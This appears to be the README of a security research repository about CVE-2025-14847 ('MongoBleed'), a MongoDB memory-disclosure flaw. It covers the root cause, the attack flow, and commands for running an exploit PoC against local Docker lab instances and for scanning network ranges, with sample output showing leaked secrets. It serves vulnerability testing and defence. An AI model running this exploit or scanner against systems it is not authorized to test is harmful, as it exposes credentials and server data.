🩸 MongoBleed - CVE-2025-14847 Security Research Lab
CVE-2025-14847 | CVSS 8.7 (High) | Unauthenticated Memory Disclosure
📖 Full Documentation •
🔬 Technical Analysis •
⚡ Quick Commands
🎯 CVE-2025-14847 Summary
MongoBleed is a critical memory disclosure vulnerability in MongoDB's network transport layer that allows unauthenticated remote attackers to exfiltrate sensitive heap memory without any credentials or user interaction.
Impact
| Category | Description |
|---|
| Attack Type | Remote, unauthenticated memory disclosure |
| Root Cause | Zlib decompression returns allocated buffer size instead of actual data length |
| Data Exposed | Database passwords, API keys, session tokens, AWS credentials, internal server state |
| Severity | CVSS 8.7 (High) - Network-accessible, no auth required |
| Exploitation | Active exploitation observed in the wild since Dec 28, 2025 |
Vulnerable Versions (At a Glance)
📖 See Full Affected Versions Table →
Exposure Scale
- 87,000 - 194,000 MongoDB instances publicly exposed
- 42% of cloud environments host vulnerable instances (Wiz Research)
- No authentication required - attack occurs pre-auth
- Silent exploitation - no logs, no crashes
TL;DR for Engineering Teams
🔬 Vulnerability Anatomy
Technical Analysis
The vulnerability exists in MongoDB's network transport layer (message_compressor_zlib.cpp) where a critical flaw in the zlib decompression logic allows unauthenticated attackers to leak sensitive server memory.
Root Cause
// VULNERABLE CODE (before fix)
counterHitDecompress(input.length(), output.length());
return {output.length()}; // ❌ Returns ALLOCATED buffer size
// PATCHED CODE (after fix)
counterHitDecompress(input.length(), output.length());
return length; // ✅ Returns ACTUAL decompressed data length
Exploitation Flow
┌─────────────────────────────────────────────────────────────────────────────┐
│ MongoBleed Attack Vector │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ATTACKER VULNERABLE MongoDB │
│ │ │ │
│ │ 1. Send OP_COMPRESSED message │ │
│ │ uncompressedSize: 8192 (LIE) │ │
│ │ actual data: ~100 bytes │ │
│ │────────────────────────────────────> │
│ │ │ │
│ │ 2. Allocate 8192-byte buffer │
│ │ 3. Decompress ~100 bytes │
│ │ 4. BUG: Return buffer.length() = 8192 │
│ │ 5. BSON parser reads uninitialized memory │
│ │ │ │
│ │ 6. Error response with leaked │ │
│ │ memory as "field names" │ │
│ │<──────────────────────────────────── │
│ │ │ │
│ 🔓 LEAKED DATA: │ │
│ - API keys, passwords, tokens │
│ - MongoDB internal state │
│ - WiredTiger storage configs │
│ - System /proc information │
│ - Client connection data │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Discovery Timeline
| Date | Event |
|---|
| 15 Dec 2025 | Vulnerability identified; internal ticket SERVER-115508 |
| 19 Dec 2025 |
🔬 See Technical Analysis → for detailed vulnerability anatomy, exploit construction, and detection methods.
📁 Project Structure
mongobleed-exploit-CVE-2025-14847/
├── exploit/ # 🔴 Exploit Lab
│ ├── docker-compose.yml # Vulnerable + Patched MongoDB instances
│ ├── mongobleed.py # Memory leak exploit PoC
│ ├── init/init-mongo.js # Sensitive test data
│ ├── test-exploit.sh # Lab test script
│ └── README.md # Lab documentation
│
├── scanner/ # 🌐 Network Scanner
│ ├── mongobleed_scanner.py # IP/domain vulnerability scanner
│ ├── sample-targets.txt # Sample targets file
│ └── README.md # Scanner documentation
│
├── code-scan/ # 📂 Code Scanner
│ ├── main.py # CLI entry point
│ ├── scanners/ # Docker, Python, Infra scanners
│ ├── models/ # Finding, Vulnerability models
│ ├── integrations/ # Phoenix Security upload
│ └── README.md # Code scanner documentation
│
└── original-exploit/ # 📚 Original PoC reference
🚀 Quick Start
1. Exploit Lab
cd exploit
# Start lab (vulnerable + patched instances)
docker-compose up -d
sleep 10
# Test vulnerable instance (should leak memory)
python3 mongobleed.py --host localhost --port 27017
# Test patched instance (should NOT leak memory)
python3 mongobleed.py --host localhost --port 27018
# Full lab test
./test-exploit.sh
2. Network Scanner
cd scanner
# Scan single host
python3 mongobleed_scanner.py 192.168.1.100
# Scan network range
python3 mongobleed_scanner.py 192.168.1.0/24
# Scan from file
python3 mongobleed_scanner.py @sample-targets.txt --json --output results.json
3. Code Scanner
cd code-scan
# Scan project for vulnerable MongoDB versions
python3 main.py scan /path/to/project
# Scan and upload to Phoenix
python3 main.py scan /path/to/project --upload-phoenix
# Run tests
python3 main.py test
⚡ Quick Commands
# === EXPLOIT LAB ===
# Start lab
cd exploit && docker-compose up -d && sleep 10
# Run exploit (vulnerable instance)
python3 exploit/mongobleed.py --host localhost --port 27017
# Run exploit (patched instance - verify no leaks)
python3 exploit/mongobleed.py --host localhost --port 27018
# === NETWORK SCANNER ===
# Scan local lab
python3 scanner/mongobleed_scanner.py localhost:27017 localhost:27018
# Scan network
python3 scanner/mongobleed_scanner.py 192.168.1.0/24 --threads 20
# === CODE SCANNER ===
# Scan current directory
python3 code-scan/main.py scan .
# Scan with JSON output
python3 code-scan/main.py scan /path/to/project --json --output results.json
# Scan and upload to Phoenix
python3 code-scan/main.py scan /path/to/project --upload-phoenix
📊 Output Examples
Exploit Output
[*] mongobleed - CVE-2025-14847 MongoDB Memory Leak
[*] Target: localhost:27017
[*] Scanning offsets 20-8192...
[+] offset= 117 len= 39: ssions^\u0001�r��*YDr���
[+] offset=16582 len=1552: MemAvailable: 8554792 kB\nBuffers: ...
[+] offset=18731 len=3908: MONGOBLEED_PRIVATE_KEY_DATA_123...
[!] TARGET IS VULNERABLE TO CVE-2025-14847
[*] Total leaked: 8748 bytes
[*] Unique fragments: 42
[!] Potential secrets detected:
• RSA Private Key
• Lab Secret
Network Scanner Output
[*] Scanning 254 targets with 10 threads...
[1/254] 192.168.1.10:27017 - 8.2.2 [VULNERABLE - CONFIRMED]
[2/254] 192.168.1.11:27017 - 8.2.3 [SAFE]
SUMMARY:
----------------------------------------
Total targets scanned: 254
Reachable hosts: 12
MongoDB instances: 8
VULNERABLE: 3
Code Scanner Output
================================================================================
MONGOBLEED CODE SCANNER REPORT - CVE-2025-14847
================================================================================
🚨 VULNERABLE MONGODB VERSIONS DETECTED
1. [email protected]
File: /project/docker-compose.yml
Type: docker-compose
Reason: Version 8.2.2 is in vulnerable range [8.2.0 - 8.2.2]
✅ Upgrade to: 8.2.3
CVE: CVE-2025-14847
📖 See Full Remediation Guide →
🔗 Phoenix Security Integration
All scanners support uploading findings to Phoenix Security platform:
# Create config
python3 code-scan/main.py create-config
cp .phoenix.config.TEMPLATE .phoenix.config
# Edit with your credentials
# [phoenix]
# client_id = your_client_id
# client_secret = your_client_secret
# api_base_url = https://api.securityphoenix.cloud
# Scan and upload
python3 code-scan/main.py scan /path/to/project --upload-phoenix
🔐 Security Notice
⚠️ IMPORTANT: This toolkit is provided for authorized security testing and research purposes only.
- Only test systems you own or have explicit written permission to test
- Unauthorized access to computer systems is illegal
- Leaked data may contain sensitive information - handle responsibly
- Report vulnerabilities through proper disclosure channels
📚 Documentation
Core Documentation
🔗 External References
👤 Credits
- Original exploit by Joe Desimone (@dez_)
- Lab environment and scanner enhancements for security research
📄 License
For authorized security testing only. Use responsibly.
Last Updated: December 2025
security-phoenix-demo/mongobleed-exploit-cve-2025-14847
